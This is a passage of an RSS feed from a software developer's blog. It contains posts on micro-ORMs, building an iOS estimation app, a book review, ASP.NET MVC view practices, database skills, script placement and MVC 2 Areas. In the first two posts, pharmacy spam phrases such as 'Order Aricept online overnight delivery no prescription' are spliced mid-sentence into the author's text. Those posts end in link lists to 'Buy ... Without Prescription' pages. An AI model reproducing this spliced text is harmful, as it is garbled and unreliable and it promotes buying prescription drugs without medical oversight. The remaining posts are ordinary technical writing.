<p>Go to <a href="http://blog.wekeroad.com/helpy-stuff/and-i-shall-call-it-massive">Rob’s site and you will see more samples</a>.&#160; Needless to say, it is off my list.&#160; Granted, <b>after Metronidazole Gel</b>, <b>Purchase Metronidazole Gel online no prescription</b>, Massive is still much less overhead than NHibernate and Entity framework, but there is too much API there for me, <b>Metronidazole Gel from mexico</b>, <b>Order Metronidazole Gel from United States pharmacy</b>, too much setup, I don’t get my POCOs, <b>Metronidazole Gel long term</b>, <b>Buy cheap Metronidazole Gel</b>, etc.</p>.  Metronidazole Gel cost.  Order Metronidazole Gel online overnight delivery no prescription.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4831'>Buy Glucophage Without Prescription</a>. <a href='http://elegantcode.com/?p=4622'>Buy Diclofenac Without Prescription</a>. <a href='http://elegantcode.com/?p=4307'>Buy Toradol Without Prescription</a>. <a href='http://elegantcode.com/?p=4308'>Buy Cipro Without Prescription</a>. <a href='http://elegantcode.com/?p=4240'>Buy Combivent Without Prescription</a>. <a href='http://elegantcode.com/?p=5052'>Lotrisone cost</a>. <a href='http://elegantcode.com/?p=4233'>Online buying Pristiq hcl</a>. <a href='http://elegantcode.com/?p=4859'>Where to buy Triamterene</a>. <a href='http://elegantcode.com/?p=5163'>Online buying Zithromax</a>. <a href='http://elegantcode.com/?p=4218'>Elavil use</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.macneilbmx.com/blog/?p=5244'>Metronidazole Gel For Sale</a>. <a href='http://www.greatgreengoods.com/?p=3407'>Metronidazole Gel For Sale</a>. <a href='http://www.thegriffonnews.com/?p=9775'>Metronidazole Gel For Sale</a>. <a href='http://www.independentworldreport.com/?p=198'>Metronidazole Gel For Sale</a>. <a href='http://www.themusclecarplace.com/?p=2956'>Metronidazole Gel For Sale</a>. <a href='http://www.quarterlives.com/?p=920'>Buy no prescription Metronidazole Gel online</a>. <a href='http://tayloegray.com/?p=253'>Metronidazole Gel alternatives</a>. <a href='http://social-blend.com/?p=761'>Metronidazole Gel schedule</a>. <a href='http://blog.farmland.org/?p=3382'>Online buy Metronidazole Gel without a prescription</a>. <a href='http://www.leaduganda.org/?p=1014'>Metronidazole Gel no prescription</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2011/08/02/thoughts-on-microorms/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Aricept For Sale</title>
		<link>http://elegantcode.com/2011/04/01/so-what-was-i-thinking-anyway/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=so-what-was-i-thinking-anyway</link>
		<comments>http://elegantcode.com/2011/04/01/so-what-was-i-thinking-anyway/#comments</comments>
		<pubDate>Sat, 02 Apr 2011 01:26:28 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=4228</guid>
		<description><![CDATA[Aricept For Sale, Ever start a project just to learn something new. Aricept treatment,  But to do it, you have to have an app idea to throw around it, generic Aricept. Order Aricept online overnight delivery no prescription,  I had one of those.  I've been doing a wee bit of iOS development over the past [...]]]></description>
			<content:encoded><![CDATA[<p> <b>Aricept For Sale</b>, Ever start a project just to learn something new.  <b>Aricept treatment</b>,  But to do it, you have to have an app idea to throw around it, <b>generic Aricept</b>.  <b>Order Aricept online overnight delivery no prescription</b>,  I had one of those.  I've been doing a wee bit of iOS development over the past year, <b>Aricept class</b>, <b>Aricept pictures</b>, and I found I wanted to learn about iAds, in App Purchasing, <b>buy no prescription Aricept online</b>, <b>Online buy Aricept without a prescription</b>, talking between devices (via BlueTooth), and just get better at coding in general, <b>Aricept price</b>.  <b>Aricept forum</b>, I did just that.  I created an IPhone/IPad app called <a href="http://www.diamondbsoftware.com/index.php/agile-cards/">Agile Cards</a>, <b>Aricept For Sale</b>.  You can read up on it if you like, <b>cheap Aricept no rx</b>.  <b>Aricept trusted pharmacy reviews</b>,  Agile Cards is your basic card estimation app for the IPhone.  Real original, <b>effects of Aricept</b>, <b>Buy generic Aricept</b>, I know.  I think my competition is about a dozen other apps, <b>no prescription Aricept online</b>.  <b>Aricept For Sale</b>,  The only thing Agile Cards does that the others do not (that I know of) is use an IPad as a server.  <b>Buy Aricept online cod</b>,  This is optional of course.  So if you have several IPhones and an IPad you can have a digitally dynamic Scrum Estimation, <b>herbal Aricept</b>.  <b>About Aricept</b>, So what was I thinking.  I was thinking I needed practice, <b>Aricept coupon</b>.</p>
<p>I knew what I wanted to practice, so I thought up an app to do that with, <b>Aricept For Sale</b>.  <b>Buy Aricept without prescription</b>,  Now the great thing about the App Stores (for Apple, Android, <b>Aricept dosage</b>, <b>Aricept price, coupon</b>, and WinPhone 7), is that you can "easily" take these little apps that you are writing and sell them, <b>doses Aricept work</b>.  <b>Aricept maximum dosage</b>,  I've had dozens of apps that I've done for exactly the same purpose (to learn), but never had an easy route for selling them, <b>Aricept from canada</b>.  <b>Purchase Aricept for sale</b>,  And setting up an online store is just a big pain as far as I'm concerned.</p>
<p>But I put easily in quotes up there, <b>Aricept over the counter</b>.  <b>Aricept For Sale</b>,  There are a few caveats to my statement above.  <b>Aricept mg</b>,  I had a designer that wanted to do some more IPhone designing.  I've helped him with apps as well, <b>Aricept cost</b>, <b>Order Aricept from mexican pharmacy</b>, so he was happy to help out.  If  you are going to go onto an app store, <b>purchase Aricept</b>, <b>Comprar en línea Aricept, comprar Aricept baratos</b>, you will/should spend more time on user experience than you normally would, especially if you were just writing the app for yourself, <b>Aricept australia, uk, us, usa</b>.  <b>Where can i buy cheapest Aricept online</b>, There is also the hassle of dealing with the app store requirements.  You need icons, splash screens, verbiage (which I kind of suck at), a web site, screen shots, email addresses, etc, <b>Aricept For Sale</b>.  I even setup a Google Voice account for it, <b>Aricept steet value</b>.  <b>Aricept long term</b>,   All this for a free app.  (OK, <b>cheap Aricept</b>, <b>Real brand Aricept online</b>, there are ad, but free none the less), <b>order Aricept online c.o.d</b>.  <b>What is Aricept</b>, What was I thinking.  <b>Aricept For Sale</b>,  I was thinking I also needed the practice of finishing an app.</p>
<p>There is nothing wrong with starting an app and throwing it away, <b>Aricept gel, ointment, cream, pill, spray, continuous-release, extended-release</b>, or just stopping when you don't need to go any further.  You end up with a program with a few quirks (bugs) that never get fixed, but you are probably the only person using it anyway.  That is fine.  But every now and then you need to FINISH something.  By FINISH, I mean shipping quality, <b>Aricept For Sale</b>.  Shipping quality is hard btw.  It takes more time.  You need other people looking at things.</p>
<p>This is to remind you that software can be hard.  <b>Aricept For Sale</b>,  We deal with details, lots of them.  Selling software to other people means dealing with even more details.  It is good to do every now and then.  On your own.</p>
<p>So what was I thinking.   I thought it sounded like fun, <b>Aricept For Sale</b>.</p>
<p>And by fun, like running a marathon half prepared fun.  BTW: I never did get to the "In app purchasing" bit.   I guess that can be next time.  It was to remove the ads.  I never have released an app with every single feature I ever wanted in it.</p>
<p></p>
<p><b>Similar posts:</b> <a href='http://elegantcode.com/?p=4435'>Lipitor For Sale</a>. <a href='http://elegantcode.com/?p=4660'>Buy Lumigan Without Prescription</a>. <a href='http://elegantcode.com/?p=4337'>Vibramycin For Sale</a>. <a href='http://elegantcode.com/?p=4935'>Buy Aricept Without Prescription</a>. <a href='http://elegantcode.com/?p=4204'>Seroquel For Sale</a>. <a href='http://elegantcode.com/?p=4427'>Bactrim dose</a>. <a href='http://elegantcode.com/?p=4756'>Is Plavix safe</a>. <a href='http://elegantcode.com/?p=4426'>Lexapro without prescription</a>. <a href='http://elegantcode.com/?p=4587'>Where can i order Pristiq without prescription</a>. <a href='http://elegantcode.com/?p=4190'>Online Allopurinol without a prescription</a>.<br />
<b>Trackbacks from:</b> <a href='http://www.quarterlives.com/?p=581'>Aricept For Sale</a>. <a href='http://4realz.net/?p=1491'>Aricept For Sale</a>. <a href='http://www.leaduganda.org/?p=468'>Aricept For Sale</a>. <a href='http://www.macneilbmx.com/blog/?p=6291'>Aricept For Sale</a>. <a href='http://www.greatgreengoods.com/?p=3626'>Aricept For Sale</a>. <a href='http://social-blend.com/?p=1085'>Aricept reviews</a>. <a href='http://blog.farmland.org/?p=3058'>Purchase Aricept for sale</a>. <a href='http://reversemortgagedaily.com/?p=14779'>Aricept dosage</a>. <a href='http://linuxologist.com/?p=395'>Purchase Aricept online no prescription</a>. <a href='http://home.officesnapshots.com/?p=167'>Japan, craiglist, ebay, overseas, paypal</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2011/04/01/so-what-was-i-thinking-anyway/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Book Review: Brain Rules</title>
		<link>http://elegantcode.com/2010/11/20/book-review-brain-rules/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=book-review-brain-rules</link>
		<comments>http://elegantcode.com/2010/11/20/book-review-brain-rules/#comments</comments>
		<pubDate>Sun, 21 Nov 2010 00:28:50 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2010/11/20/book-review-brain-rules/</guid>
		<description><![CDATA[This is not your usual book review that you would expect on a site like this.&#160; First off, the book does not talk about code, software, or software developers even once.&#160;&#160; But, almost everything in this book is applicable to what we do as software developers, managers, project managers, and leads. The book, Brain Rules [...]]]></description>
			<content:encoded><![CDATA[<p>This is not your usual book review that you would expect on a site like this.&#160; First off, the book does not talk about code, software, or software developers even once.&#160;&#160; But, almost everything in this book is applicable to what we do as software developers, managers, project managers, and leads.</p>  <p>The book, Brain Rules by John Medina, is about the brain and what is actually know about.&#160; I like the author’s criteria for what went in the book.&#160; He called it the “Cranky Scientist Rule.”&#160; Nothing is in the book that hasn’t been published in a scientific journal, peer reviewed, and duplicated by someone else.&#160; I liked that as well.</p>  <p>Each chapter, and there are 12 of them, are about what the brain needs, and how best to give the brain what it needs.&#160; There are chapters specific to Sleep, Stress, Short term memory, long term memory, and gender.&#160; There are few absolutes in the book (except multitasking, he says you can’t do it and wants to ban texting in cars – I’ll grant him that one), but LOTS of pointers.&#160; Also, there are plenty of asides where he talks about actual people with interesting conditions you should really hope you don’t get (but probably wouldn’t notice if you did).</p>  <p>And for a book on the brain, it is not dry at all.&#160; The Author is a VERY effective writer, and judging from his credentials, probably an excellent teacher as well.&#160; If you have a few minutes, I highly recommend checking out his web site: <a href="http://BrainRules.com">BrainRules.com</a> and watch some of his videos.</p>  <p><a href="http://www.amazon.com/Brain-Rules-Principles-Surviving-Thriving/dp/0979777747/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1290299287&amp;sr=1-1">Check out the book as well at amazon</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/11/20/book-review-brain-rules/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Asp.Net MVC: My Personal View Rules</title>
		<link>http://elegantcode.com/2010/07/05/asp-net-mvc-my-personal-view-rules/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=asp-net-mvc-my-personal-view-rules</link>
		<comments>http://elegantcode.com/2010/07/05/asp-net-mvc-my-personal-view-rules/#comments</comments>
		<pubDate>Mon, 05 Jul 2010 23:10:02 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Asp.Net MVC]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=3641</guid>
		<description><![CDATA[I've been working with a team of guys on several Asp.Net MVC projects since October of 2009.  While that isn't the greatest amount of time, and I'm still no expert, I thought I'd jot down a few of the practices that we have developed to help make coding a bit smoother.  Asp.Net MVC, as with [...]]]></description>
			<content:encoded><![CDATA[I've been working with a team of guys on several Asp.Net MVC projects since October of 2009.  While that isn't the greatest amount of time, and I'm still no expert, I thought I'd jot down a few of the practices that we have developed to help make coding a bit smoother.  Asp.Net MVC, as with every new technology can be used poorly, and when use poorly you try to identify why that code was bad, how it could have been done better.

First, lets think about what the view should be doing - in a single responsibility sort of way: turn data into html.  That right there rules out several options.  No retrieving data, no extra data transformations.  Just turn some data into html.  And frankly, that is complicated enough.  So a side goal that I strive for is to create a markup page (the aspx) that is similar to the desired html output.  The main reason for that side goal is to make double checking the output that much easier.  I want to see a 'div' in my markup, and have a reasonable idea where that 'div' will show up in the html.
<ol>
	<li><strong>Keep as much code out of your views as you can.</strong></li>
</ol>
Don't make this rule overly simplistic.  Some code belongs in the view.  A 'for' loop to create a table, a simple 'if' block to show administrator functionality, stuff like that.  But you shouldn't be having to specify the DateTime format, or string parsing.  That is what the ViewModels should do for you.  Rule of thumb, if you see a block where there is more C# than HTML, you probably did it wrong.

I will also extend this rule to JavaScript as well.  I've talked about the why JavaScript should not be in the views before, so this should not be a shock.  JavaScript belong in separate files.  Period.

2. <strong>Make Views typed.</strong>

This is true for all views where you have to pass data from the controller to the view.  Make a View Model for the view and pass data via that model.  This opens up a whole host of better patterns for you, like typed HtmlHelpers.  As a result, it is VERY rare that I will share a view model between views, or even Controller Actions.  I make separate models for GET, POST, and DELETE.  I guess my view is, the more the merrier.

3.   <strong>Make the View Models specific to the needs of the view.</strong>

OK, this isn't actually a View best practice, but it is highly related.  If you try to keep the model for the view too generic, you end up with a lot of logic in the view to transpose the data into something useful.  The key point is that the data in the model serves the view, so all of the work to get the data into the correct format should be done when putting the data into  the model.  I will often take this to the point where the model will give html elements in the view their CSS classes.  So that means I have more than data from the database in the views.

Side note: when it comes to populating View Models with data specific for the View, <a href="http://automapper.codeplex.com/">AutoMapper</a> rocks!  That is all.

4.  <strong>Custom Html Helpers are wonderful things</strong>

It is remarkably simple to create your own Html Helper, and once you get the hang of them they are beautiful.  They are wonderful little ways to encapsulate a small amount of logic so you can get it out of the aspx view.  Use them to encapsulate small amounts of code you need in various place through the project.

Another little "trick" I will use from time to time to create custom models just for a html helper (passed in via the view's view model).  I have a few places where I need to change the markup because of the browser being used...so I create a custom helper that can detect the browser.

5. <strong>Standard HTML Helpers are great, but remember html</strong>

The key point I'm trying to make here is to become familiar with the output of the standard HTML helpers.  While the helpers can be great, they have their warts (anything having to do with an attribute name/value is a bit ugly).  Sometimes it is easier to swap them out with the standard html (especially with inputs) to get the exact output you want.  As a bonus, it is easier for the next guy coming in to figure out what you were after.   Currently, I'd say I use the helpers about 50% of the time over raw HTML.

Now, typing the html, or the helper, still kind of stinks.  You have to type the same code over and over.  Take a look at what <a href="http://code.google.com/p/zen-coding/">Zen-Coding</a> does.  You can do the same thing with ReSharper Templates or Visual Studio snippets...or just install one of the ReSharper or Visual Studio pluggins.  But beyond that, there is an art to customizing Visual Studio that you should learn.

6. <strong> Wrap all links in Url.Content and Url.Action</strong>

You have a web app.  You have to navigate between pages, call web services, link in javascript and CSS.  That is just what we do.  All of those links should be wrapped in Url.Content or Url.Action helpers.   The problem that is easy to run into is you move from development to test and the base url for your application changes.  You were testing at http://localhost:898989/ , and now you are deployed to http://myserver/myapp/  and a whole lot of urls just stopped working.  Url.Content and Url.Action are supposed to fix that.  That is why you use them.

7.  <strong>Get to know Partial Views for Ajax calls.</strong>

Partial views are actually just views that don't have master pages and the html/body tag sections.  Partials can be executed in a multitude of ways, not just from inside a view on the server, but also from Javascript on the browser. JQuery also has a wonderful little method called $.load that will call a url, take the html that is returned, and slap it into the page.  This can greatly simplify a lot of behaviors.

I subtle little trick I sometimes do with this this is to wrap a section of code that takes a long time to load in a partial.  I will then call that partial into my page AFTER is has loaded on the browser (using the JavaScript function setTimeout to call the $.load ).  Now I get  a page that loads faster, but still has all of the data it needs.

8. <strong>Make the Master page work for you.</strong>

It isn't that there is something inherently wrong with the existing master page that you get when you create a new Asp.net MVC project.  Typically it is 80% of what you would want.  But, as soon as I know what my general page is supposed to look like, I rip right into the Master Page.   Also keep in mind that you can nest Master Pages as well.

9. <strong>Think about what a designer would want.</strong>

Even if you don't have one.  This is just a general pattern I try to get into.  I think about a designer as someone that can take raw html, add some css and images and make my work look a LOT better.    This means I use the raw html whenever possible, I write my JavaScript click handler so they will work with buttons or links (hint: always return false -- and why haven't I written a JQuery plugin for this yet?).

10.  <strong>Version your css and JavaScript</strong>

This is actually getting into my next blog post, but figure out a way to version your JavaScript and CSS.  This really isn't MVC specific, you should do this in almost any project.  The key reason is to help you with a browser's cache.  You know you have a problem when the first thing someone tells you, when asking for help, is that they cleared their cache already.   My thought on this is your web app's dll should have a version number, set the project to auto version, and then pop that onto the end of the css/javascript file call.  So it might look like this:  "http://myapp/.../file.css?version=1.0.0.256".   In my sample code, when in development I stick a timestamp on the file in the same way.

OK, 10 rules is quite enough (I didn't even think I would get that many).   To the american's reading this: Happy Independence Day.]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/07/05/asp-net-mvc-my-personal-view-rules/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Developers still need database skills</title>
		<link>http://elegantcode.com/2010/04/30/developers-still-need-database-skills/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=developers-still-need-database-skills</link>
		<comments>http://elegantcode.com/2010/04/30/developers-still-need-database-skills/#comments</comments>
		<pubDate>Sat, 01 May 2010 00:53:37 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2010/04/30/developers-still-need-database-skills/</guid>
		<description><![CDATA[Rant here.&#160; First off, I’m going to be talking about DBAs.&#160; And by DBA, I mean a database developer.&#160; Someone who knows relational theory, optimization, and SQL inside out.&#160; This is an R&#38;D DBA.&#160; There is another type of DBA that mainly deals with uptime and backup strategies.&#160; This is an IT DBA, I’m not [...]]]></description>
			<content:encoded><![CDATA[<p>Rant here.&#160; First off, I’m going to be talking about DBAs.&#160; And by DBA, I mean a database developer.&#160; Someone who knows relational theory, optimization, and SQL inside out.&#160; This is an R&amp;D DBA.&#160; There is another type of DBA that mainly deals with uptime and backup strategies.&#160; This is an IT DBA, I’m not talking about that one at all.</p>  <p>I was going to talk to some of my fellow developers about a couple of database issues.&#160; The response was, “you said the ‘D’ word.&#160; Now, we are an NHibernate/Microsoft SQL Server shop (or, Fluent NHibernate), and we rarely have to think about think about database architecture.&#160; Heck, up till a month ago I don’t think we had to do any native SQL queries at all.&#160; Currently, I don’t think we have any stored procs at all.&#160; In my book, all of that is a good thing.&#160; You can also chalk one up to Microsoft SQL Server in this one, our system has grown a lot and performance has remained pretty darn stable.</p>  <p>And lets be frank, I love this – most of the time.&#160; Linq To NHibernate queries, Fluent NHibernate, and the like all make for a very enjoyable experience for developing against a database.&#160; I would say that the vast majority of our querying needs are met with no further issues.&#160; I certainly don’t want to go back to a stored proc world.&#160; </p>  <p>That said, I don’t like using our ORM as an excuse to not talk about database issues or SQL issues.&#160; If you are using a particular data storage technology, it still behooves you to know as much about it as possible.&#160; Otherwise, when you get to a point where you need to know about what is going on will be too late.&#160; Lets be frank here, no ORM will handle all of you query needs.&#160; At best we are talking 90%, sometimes only 80%, for a typical application.&#160; At some point you either have to go to the metal, or you end up coding things in a very strange way.</p>  <p>So here is the main point, as long as Relational Databases continue to be the “right answer” for business data storage, you need to learn database theory and SQL.&#160; You might not need to know SQL as well as your native C#, Ruby, or other main language.&#160; But that is not an excuse for not being comfortable with left outer joins, third normal form, and indexing.</p>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/04/30/developers-still-need-database-skills/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Your JavaScript goes WHERE?</title>
		<link>http://elegantcode.com/2010/03/30/your-javascript-goes-where/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=your-javascript-goes-where</link>
		<comments>http://elegantcode.com/2010/03/30/your-javascript-goes-where/#comments</comments>
		<pubDate>Wed, 31 Mar 2010 03:35:37 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[html]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2010/03/30/your-javascript-goes-where/</guid>
		<description><![CDATA[Let me start by saying that I was not trying to be controversial.  I was at Boise Code Camp giving a session about Asp.Net MVC, and I happened to mention that JavaScript was supposed to go at the bottom of your page.  Plus, I said this in a “of course you all know this already” [...]]]></description>
			<content:encoded><![CDATA[Let me start by saying that I was not trying to be controversial.  I was at Boise Code Camp giving a session about Asp.Net MVC, and I happened to mention that JavaScript was supposed to go at the bottom of your page.  Plus, I said this in a “of course you all know this already” type of voice, thinking this needed no further explanation.

Then the hands started raising.  Quickly, I might add.  I had to explain myself.  Yes, JavaScript goes at the bottom of your page.  Yes, I realize that we were all taught, back in the day, that JavaScript’s true home was in the &lt;head&gt; element.  In fact, <a href="http://docs.jquery.com/Tutorials:Getting_Started_with_jQuery">many sample pages still show JavaScript at the top</a>.  But we probably learned that ten years ago, you have to think a few things have changed…except IE6 – that sucker is going to live forever!  Anyway, I’m not the type that like to stand up in a crowd and say “everything you, and everyone you know, is doing is wrong” (I’m not that smart).  And if I do, I want to come with some substantial proof.

To start, <a href="http://www.w3.org/TR/REC-html40/interact/scripts.html#h-18.2.1">where does the w3c say the SCRIPT element is supposed to go?</a>  If you read the document in the link, SCRIPT can live in either the HEAD or the BODY elements. So technically, both places are legal.  I am stating this so that no one come back and tells me I’m breaking any fundamental web rules.  If the w3c says it is ok, then it is ok darn it.
<h2>But why the bottom of the page? </h2>
That one is slightly harder to explain.  But here are the basics:  when a browser loads a document there are only so many thread for processing the document and download all the other crap that you put on the page <a href="http://theoatmeal.com/comics/design_hell">so it pops</a> (so, images and css, not to mention the bagillion font tags that Word likes to put in html).  There is also an unwritten rule that JavaScript should enhance the page after it is loaded.  So any time the browser spends parsing JavaScript is time it could be using to make the page look right.  Also, with some browsers, when the browser is loading JavaScript, ALL OTHER ACTIVITY STOPS.  Nothing else is downloaded, the browser is at a standstill until all the script is parsed – and <a href="http://ejohn.org/blog/javascript-performance-rundown/">you know how fast IE is at JavaScript.</a>

Lets be clear about this “rule”.  <a href="http://developer.yahoo.com/performance/rules.html#js_bottom">I did not make this up.</a>  But there are other ways around the performance penalty, you can also <a href="http://code.google.com/speed/page-speed/docs/payload.html#DeferLoadingJS">defer load</a> your JavaScript.  Also, putting all of the JavaScript into a single, external file is a great idea.  With a external file you get the added benefit of the JavaScript file being cached by the browser (Note: great for the user – pain for your tester.  Repeat after me, “CLEAR YOUR CACHE” often when testing).

OK, so let us review.

<a href="http://elegantcode.com/wp-content/uploads/2010/03/image17.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" src="http://elegantcode.com/wp-content/uploads/2010/03/image_thumb17.png" border="0" alt="image" width="823" height="594" /></a>
<h2>But how bad is this?</h2>
That is a fair question as well.  Truthfully, it depends.  I know that is my stock answer, but I’m talking about how much this will affect the user.  It could be nothing.  But if you have a lot of JavaScript on the page, it could be significant.   Potentially it could be as annoying as a blink tag.  Even worse it might be on par with ESPN and their auto-playing videos.   But, if we are talking about 10-20 lines of script, there could be no change at all in render time. I will say this, by moving the script to the bottom of the page I have taken pages that were not usable for 10 seconds, improved it to moments (the page had a LOT of JavaScript…and it was a very noble cause).
<h2>What else should I be doing that I’m not?</h2>
This one is easy.  Run all of your pages through <a href="http://developer.yahoo.com/yslow/">YSlow</a> and <a href="http://code.google.com/speed/page-speed/">PageSpeed</a> (you need FireFox and <a href="http://getfirebug.com/">Firebug</a> installed for this) and find out.  Also, you don’t have to be perfect as far as these tools are concerned.  Some of the rule are probably not practical either (the “You should be using a CDN for images” rule comes to mind).  But it is good to know where you can improve.  PageSpeed has a number of really nice tools as well.  It will return you properly sized images, and compressed CSS and JavaScript if you ask it.]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2010/03/30/your-javascript-goes-where/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Asp.Net MVC 2 Areas</title>
		<link>http://elegantcode.com/2010/03/13/asp-net-mvc-2-areas/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=asp-net-mvc-2-areas</link>
		<comments>http://elegantcode.com/2010/03/13/asp-net-mvc-2-areas/#comments</comments>
		<pubDate>Sun, 14 Mar 2010 00:13:19 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Asp.Net MVC]]></category>

		<guid isPermaLink="false">http://elegantcode.com/2010/03/13/asp-net-mvc-2-areas/</guid>
		<description><![CDATA[I’m looking into the new stuff in Asp.Net MVC 2, trying to figure out what is cool and what is just there.&#160; Areas look like a nice addition.&#160; Areas allow you to separate your Asp.Net MVC application into more distinct partitions.&#160; So all of the Controllers, Models, Views, and even routes belong to one directory [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://elegantcode.com/wp-content/uploads/2010/03/image13.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; margin-left: 0px; border-top: 0px; margin-right: 0px; border-right: 0px" title="image" border="0" alt="image" align="right" src="http://elegantcode.com/wp-content/uploads/2010/03/image_thumb13.png" width="119" height="244" /></a>I’m looking into the new stuff in Asp.Net MVC 2, trying to figure out what is cool and what is just there.&#160; Areas look like a nice addition.&#160; Areas allow you to separate your Asp.Net MVC application into more distinct partitions.&#160; So all of the Controllers, Models, Views, and even routes belong to one directory structure.&#160; It is like having a sub-project inside of you MVC project. </p>  <p>Here is the problem, as I see it:&#160; as an MVC project gets large, keeping all of the necessary pieces and parts for a set of controller actions straight can get a bit daunting.&#160; I’ve ended up with duplicate folder structures in views and models, which can make navigation a pain.</p>  <p>To make a new Area, simply right-click anywhere in you MVC project, Add-&gt;Area.&#160; As I said, you can do this from anywhere in the project structure, but the Areas are created in a new “Areas” folder.&#160; When you name the Area, a new folder is created with the Areas name as well.</p>  <p>Once created you should see all the familiar Controllers, Models, and Views folders (all blank).&#160; In addition to that, you will see an &lt;name&gt;AreaRegistration.cs file.&#160; This inherits from AreaRegistration, and this is where any new Routes go.&#160; In the file is a prebuilt route that should look similar to this:</p>  <div style="border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px" id="codeSnippetWrapper">   <div style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px" id="codeSnippet">     <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum1">   1:</span> context.MapRoute(</pre>
<!--CRLF-->

    <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum2">   2:</span>     <span style="color: #006080">&quot;test1_default&quot;</span>,</pre>
<!--CRLF-->

    <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum3">   3:</span>     <span style="color: #006080">&quot;test1/{controller}/{action}/{id}&quot;</span>,</pre>
<!--CRLF-->

    <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum4">   4:</span>     <span style="color: #0000ff">new</span> { action = <span style="color: #006080">&quot;Index&quot;</span>, id = UrlParameter.Optional }</pre>
<!--CRLF-->

    <pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060" id="lnum5">   5:</span> );</pre>
<!--CRLF--></div>
</div>

<p>So a url to the area would include /test1/ (name of my Area) in the path.&#160; That would be good if you had multiple controllers with the same name, but if you don’t, just take out the “test1” and you won’t need it in the path.</p>

<p>Also, if you leave Area name in the route, you will have a little more work to, here is what one of mine looked like:&#160; &lt;%=Html.ActionLink(&quot;test&quot;, &quot;Index&quot;, &quot;test1/TestArea&quot;) %&gt;.&#160; But it turns out this is more correct: </p>

<p>&lt;%=Html.ActionLink(&quot;test&quot;, &quot;Index&quot;, &quot;TestArea&quot;, new { area=&quot;Test1&quot;}, new {}) %&gt; </p>

<p>This also mean that any controller actions you want to link to outside if Area needs to include a blank area in the link, like this:</p>

